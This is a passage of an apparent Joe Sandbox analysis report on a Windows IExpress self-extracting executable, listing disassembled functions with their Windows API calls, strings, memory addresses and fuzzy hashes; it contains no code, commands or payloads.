Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CurrentDirectoryErrorLast$Message$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 948580687-305352358
Opcode ID: 1d10b06ffb60c2f9a4994c8529384c1a3f72a6229e0869c97220415a699bab90
Instruction ID: 76b251caf0c1a7b7884f02a042ebf55e3f1f48824b9957488235835af721ced5
Opcode Fuzzy Hash: 1d10b06ffb60c2f9a4994c8529384c1a3f72a6229e0869c97220415a699bab90
Instruction Fuzzy Hash: 82917F36A1874286E760AF25F444E6AF7A4FB84748FA00139DA8E43B94DF3DD445CB51

Function 00007FF78CA62B24 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 171
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF78CA62B78
memset.MSVCRT ref: 00007FF78CA62B8C

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

CreateEventA.KERNEL32 ref: 00007FF78CA62BC9
SetEvent.KERNEL32 ref: 00007FF78CA62BD9
CreateMutexA.KERNEL32 ref: 00007FF78CA62C6A
GetLastError.KERNEL32 ref: 00007FF78CA62C7C
FindResourceA.KERNEL32 ref: 00007FF78CA62D3C
LoadResource.KERNEL32 ref: 00007FF78CA62D4D

Part of subcall function 00007FF78CA639A0: GetVersionExA.KERNEL32 ref: 00007FF78CA639EB

#17.COMCTL32 ref: 00007FF78CA62D5F
CloseHandle.KERNEL32 ref: 00007FF78CA62CDC

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

Strings

INSTANCECHECK, xrefs: 00007FF78CA62C44
, xrefs: 00007FF78CA62CC3
TITLE, xrefs: 00007FF78CA62BA7
EXTRACTOPT, xrefs: 00007FF78CA62BEA
VERCHECK, xrefs: 00007FF78CA62D32

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-3293887400
Opcode ID: 99a5b2a0ec1b945be53423b18da261cd1a6f7f9ebb90be66510584ff9c7f5bf8
Instruction ID: 31e5bc7bf574c4595b278238d88dad7e029004910d036ee29c89972edc8d2898
Opcode Fuzzy Hash: 99a5b2a0ec1b945be53423b18da261cd1a6f7f9ebb90be66510584ff9c7f5bf8
Instruction Fuzzy Hash: 66817A61E0C64386FB60BB25F814FB9B690BF95788FF00136D90E42AA1DF3CE445C622

Function 00007FF78CA65940 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 112
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

FindResourceA.KERNEL32 ref: 00007FF78CA65970
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF78CA63029), ref: 00007FF78CA6597B
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF78CA63029), ref: 00007FF78CA65984
GetDlgItem.USER32 ref: 00007FF78CA659AB
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF78CA63029), ref: 00007FF78CA659B6
GetDlgItem.USER32 ref: 00007FF78CA659C8
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF78CA63029), ref: 00007FF78CA659D6
#20.CABINET ref: 00007FF78CA65A43
#22.CABINET ref: 00007FF78CA65A83
#23.CABINET ref: 00007FF78CA65A92
FreeResource.KERNEL32 ref: 00007FF78CA65AD5
SendMessageA.USER32 ref: 00007FF78CA65B31

Strings

*MEMCAB, xrefs: 00007FF78CA65A74
CABINET, xrefs: 00007FF78CA6594D, 00007FF78CA65967

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 0c6c46a489d0fda5dc98469ed81d9ee631a82016382c4a4d309c554a0bb4008b
Instruction ID: 07ad78fb6ee3b907b7afd62ffb561e1ff7dc244e32aa06858b28e375e40858fd
Opcode Fuzzy Hash: 0c6c46a489d0fda5dc98469ed81d9ee631a82016382c4a4d309c554a0bb4008b
Instruction Fuzzy Hash: 06510A31A0DB4686FB60AB61F898F75B3A1BF44788FE04136D94D02A64EF3DE045C762

Function 00007FF78CA62E28 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 149
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF78CA62EA3
LoadLibraryA.KERNEL32 ref: 00007FF78CA62EC1
GetProcAddress.KERNEL32 ref: 00007FF78CA62ED9
DecryptFileA.ADVAPI32 ref: 00007FF78CA62EED
FreeLibrary.KERNEL32 ref: 00007FF78CA62EF6
GetWindowsDirectoryA.KERNEL32 ref: 00007FF78CA62F21
GetLastError.KERNEL32 ref: 00007FF78CA62F49
SetCurrentDirectoryA.KERNELBASE ref: 00007FF78CA62FA6

Part of subcall function 00007FF78CA65C0C: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF78CA62E5F), ref: 00007FF78CA65C31
Part of subcall function 00007FF78CA65C0C: GetLastError.KERNEL32 ref: 00007FF78CA65C5D

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA62EE6, 00007FF78CA62F9F
advapi32.dll, xrefs: 00007FF78CA62EA9
DecryptFileA, xrefs: 00007FF78CA62ECF

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Directory$ErrorLastLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 89276366-1173327654
Opcode ID: a08d641b123f17e805a900ea8d92990d19094c2be76c6bf70e96c77a3054d0ec
Instruction ID: 46ce4484ba4f9199b8b5d44ff10b1610da310ff7ab224db415584307000c3754
Opcode Fuzzy Hash: a08d641b123f17e805a900ea8d92990d19094c2be76c6bf70e96c77a3054d0ec
Instruction Fuzzy Hash: E8613964E0D64385FB61BB20F940EB5F6A4BF94784FF04136D98E825A1DE2CE845C633

Function 00007FF78CA65E4C Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF78CA62A5F), ref: 00007FF78CA65EE4
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF78CA62A5F), ref: 00007FF78CA65F91
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF78CA62A5F), ref: 00007FF78CA65FCB

Part of subcall function 00007FF78CA65D44: RemoveDirectoryA.KERNELBASE(0000000A,00007FF78CA62A5F), ref: 00007FF78CA65DAF
Part of subcall function 00007FF78CA65D44: GetFileAttributesA.KERNELBASE ref: 00007FF78CA65DB8
Part of subcall function 00007FF78CA65D44: GetTempFileNameA.KERNEL32 ref: 00007FF78CA65DDB
Part of subcall function 00007FF78CA65D44: DeleteFileA.KERNEL32 ref: 00007FF78CA65DED
Part of subcall function 00007FF78CA65D44: CreateDirectoryA.KERNEL32 ref: 00007FF78CA65DF8

GetLastError.KERNEL32(?,?,?,?,?,?,0000000A,00007FF78CA62A5F), ref: 00007FF78CA65FD3

Strings

i386, xrefs: 00007FF78CA65F1D
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA65E90, 00007FF78CA65F41
alpha, xrefs: 00007FF78CA65F0B
mips, xrefs: 00007FF78CA65F14
ppc, xrefs: 00007FF78CA65F02

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteErrorInfoLastNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 3170954203-3374052426
Opcode ID: 8d7551313fc669cb0e8f9ac69621eb77d6e6f085c422af71224765435ac923fb
Instruction ID: 132e9ef677dfde05bf4231c9d3007e029d695f98736ddbd25f5a9e17295d2a8a
Opcode Fuzzy Hash: 8d7551313fc669cb0e8f9ac69621eb77d6e6f085c422af71224765435ac923fb
Instruction Fuzzy Hash: 87515E71E1C68291FB55AF25B914EB5F3A0BF45780FF84036E94E46691DF7EE804C222

Function 00007FF78CA629E4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 79
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF78CA629F9
GetModuleHandleW.KERNEL32 ref: 00007FF78CA62A10
GetProcAddress.KERNEL32 ref: 00007FF78CA62A25
ExitWindowsEx.USER32 ref: 00007FF78CA62AE6
CloseHandle.KERNEL32 ref: 00007FF78CA62AFF

Strings

@, xrefs: 00007FF78CA62ABF
Kernel32.dll, xrefs: 00007FF78CA62A09
HeapSetInformation, xrefs: 00007FF78CA62A1B

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: ce021ab3524c38f82bffb0e3de339560c67142cd7d7947d6df8012e561f83b94
Instruction ID: 5eedac3418937e5eae2519c6b68f04892cae34ae565eaaf2b3c78675b99212cb
Opcode Fuzzy Hash: ce021ab3524c38f82bffb0e3de339560c67142cd7d7947d6df8012e561f83b94
Instruction Fuzzy Hash: A0315E21E0D24345FBB5BB60B845E7AF2A0BF64B90FF54235DA4D026A5DEACE441C623

Function 00007FF78CA61F00 Relevance: 12.1, APIs: 8, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 00007FF78CA61F99
lstrcmpA.KERNEL32 ref: 00007FF78CA61FF2
lstrcmpA.KERNEL32 ref: 00007FF78CA62008
SetFileAttributesA.KERNEL32 ref: 00007FF78CA6205B
DeleteFileA.KERNEL32 ref: 00007FF78CA62065
FindNextFileA.KERNELBASE ref: 00007FF78CA62073
FindClose.KERNELBASE ref: 00007FF78CA62084
RemoveDirectoryA.KERNELBASE ref: 00007FF78CA6208D

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: e887f1d7ead07e2ce2074c96e4bbd04aba131085e79c48b9cf9fd632f58ef1eb
Instruction ID: fcc65111fc23c77580bc662ac0240b17867fa88d2b332beb4d3fdc99aea59dc1
Opcode Fuzzy Hash: e887f1d7ead07e2ce2074c96e4bbd04aba131085e79c48b9cf9fd632f58ef1eb
Instruction Fuzzy Hash: E541C161A18B8695EF41EF30E850AE9B761FB44B84FE44132DA4D036D9DF3CE909C322

Function 00007FF78CA630C4 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 89
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF78CA63109
DeleteFileA.KERNELBASE ref: 00007FF78CA63112
LocalFree.KERNEL32 ref: 00007FF78CA6311F
LocalFree.KERNEL32 ref: 00007FF78CA63128
SetCurrentDirectoryA.KERNELBASE ref: 00007FF78CA631B7
RegOpenKeyExA.KERNELBASE ref: 00007FF78CA63204
RegDeleteValueA.KERNELBASE ref: 00007FF78CA6321A
RegCloseKey.ADVAPI32 ref: 00007FF78CA63225

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA63158
wextract_cleanup0, xrefs: 00007FF78CA63213
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF78CA631F6

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-3137473940
Opcode ID: 139c24f63efaaecf273668afafadc40c041a4949118b42efaaf16138047ed078
Instruction ID: 2322bf1b1d54b8aa39b92879e1d92c419406d929bd93bc32cc1b32fe6eb5f71c
Opcode Fuzzy Hash: 139c24f63efaaecf273668afafadc40c041a4949118b42efaaf16138047ed078
Instruction Fuzzy Hash: 3D414865A1DA8292FF50BB24F854FB5B3A0FF54B84FE44032CA4D026A4DF2CE449C722

Function 00007FF78CA64478 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF78CA644EC
WaitForSingleObject.KERNEL32 ref: 00007FF78CA64502
GetExitCodeProcess.KERNELBASE ref: 00007FF78CA64512
CloseHandle.KERNEL32 ref: 00007FF78CA645AD
CloseHandle.KERNEL32 ref: 00007FF78CA645B8
GetLastError.KERNEL32 ref: 00007FF78CA645D3
GetLastError.KERNEL32 ref: 00007FF78CA645ED
FormatMessageA.KERNEL32 ref: 00007FF78CA64618

Strings

, xrefs: 00007FF78CA644DF

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$CodeCreateExitFormatMessageObjectSingleWait
String ID:
API String ID: 3794558871-3916222277
Opcode ID: 9f5f1d435d494857f467c4df7531989be3996456b61f4ede157ba57c6f223fef
Instruction ID: 70ce6e45ac3b30b4adb648bbed497fd26824c1e27ee9e520094419374ce3120e
Opcode Fuzzy Hash: 9f5f1d435d494857f467c4df7531989be3996456b61f4ede157ba57c6f223fef
Instruction Fuzzy Hash: 8551013191C64286F7A0EB24F855F7AF7A0FB88794FA40135D64D466A4DF7CD844CB22

Function 00007FF78CA62174 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF78CA621C5
RegQueryValueExA.KERNELBASE ref: 00007FF78CA621EE
RegCloseKey.KERNELBASE ref: 00007FF78CA62203
RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA62231
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF78CA62273

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF78CA62223
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF78CA621B7
PendingFileRenameOperations, xrefs: 00007FF78CA621DC

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: f9c9f28ba430a97cac6df1d6b2180f89cf8a91fb3d1549dce7b445f5981c95c9
Instruction ID: b9e323fdadd1f191398587e631d728b0fc1efbedb86fd05543b65fb3a6eb0561
Opcode Fuzzy Hash: f9c9f28ba430a97cac6df1d6b2180f89cf8a91fb3d1549dce7b445f5981c95c9
Instruction Fuzzy Hash: 8C316232A08B4286E760AF75F890EA9B3A4FB48758FA40635E69D43B58DF3CD164C711

Function 00007FF78CA65D44 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78CA61144: _vsnprintf.MSVCRT ref: 00007FF78CA61181

RemoveDirectoryA.KERNELBASE(0000000A,00007FF78CA62A5F), ref: 00007FF78CA65DAF
GetFileAttributesA.KERNELBASE ref: 00007FF78CA65DB8
GetTempFileNameA.KERNEL32 ref: 00007FF78CA65DDB
DeleteFileA.KERNEL32 ref: 00007FF78CA65DED
CreateDirectoryA.KERNEL32 ref: 00007FF78CA65DF8
CreateDirectoryA.KERNELBASE ref: 00007FF78CA65E28

Strings

IXP, xrefs: 00007FF78CA65DCE
IXP%03d.TMP, xrefs: 00007FF78CA65D72

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: 5a71516873949a24748eb98aa66fa85a224b2ff9622eba3932d282d47951f613
Instruction ID: b624c1faa68308bdb214a7b0dd970ffda5ca73ce7294b1c29baaed2beb3b322b
Opcode Fuzzy Hash: 5a71516873949a24748eb98aa66fa85a224b2ff9622eba3932d282d47951f613
Instruction Fuzzy Hash: 8721A131B0894282FB50BB26F994FF9B251BF89B94FE44031DD5E576A5CE3CD445C212

Function 00007FF78CA65C0C Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF78CA62E5F), ref: 00007FF78CA65C31
GetLastError.KERNEL32 ref: 00007FF78CA65C5D
LocalFree.KERNEL32 ref: 00007FF78CA65CB3

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

Strings

, xrefs: 00007FF78CA65CF7
UPROMPT, xrefs: 00007FF78CA65C19, 00007FF78CA65C7F
<None>, xrefs: 00007FF78CA65CC5

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 4cd7dd6834e85b2f75631053cfae32537cc947d9a4b936279775a0e79ed0ed39
Instruction ID: b95b549595037151ebd99dcfc5ef97f705c2e583629ff070aac83cbb9b2996be
Opcode Fuzzy Hash: 4cd7dd6834e85b2f75631053cfae32537cc947d9a4b936279775a0e79ed0ed39
Instruction Fuzzy Hash: 37318D71A0C20286F7A4BB31F555F7AB690BF95788FA04039DA4E46AD4DF7ED400C722

Function 00007FF78CA6648C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 71memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF78CA664BC
GetLastError.KERNEL32 ref: 00007FF78CA664E8
CreateFileA.KERNELBASE ref: 00007FF78CA6655D
LocalFree.KERNEL32 ref: 00007FF78CA66569
CloseHandle.KERNEL32 ref: 00007FF78CA6657C
GetFileAttributesA.KERNELBASE ref: 00007FF78CA66585

Strings

TMP4351$.TMP, xrefs: 00007FF78CA66527

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateErrorFreeHandleLast
String ID: TMP4351$.TMP
API String ID: 3233701622-2619824408
Opcode ID: 2eb0a130c08390c2c59571b17b69df89c48dd1a812f9b9ed4787ed34bbd363ff
Instruction ID: 29d87015639de471efb5f2c120dbca20a18b8a7299f68bcf054791cc0ab62fac
Opcode Fuzzy Hash: 2eb0a130c08390c2c59571b17b69df89c48dd1a812f9b9ed4787ed34bbd363ff
Instruction Fuzzy Hash: 4621BF71A0874246F760AB25B814F7AB290BB44BB4FA40338DA6A03BD4CF3CE445C716

Function 00007FF78CA679B0 Relevance: 12.1, APIs: 8, Instructions: 137sleepCOMMON

Download Yara Rule

APIs

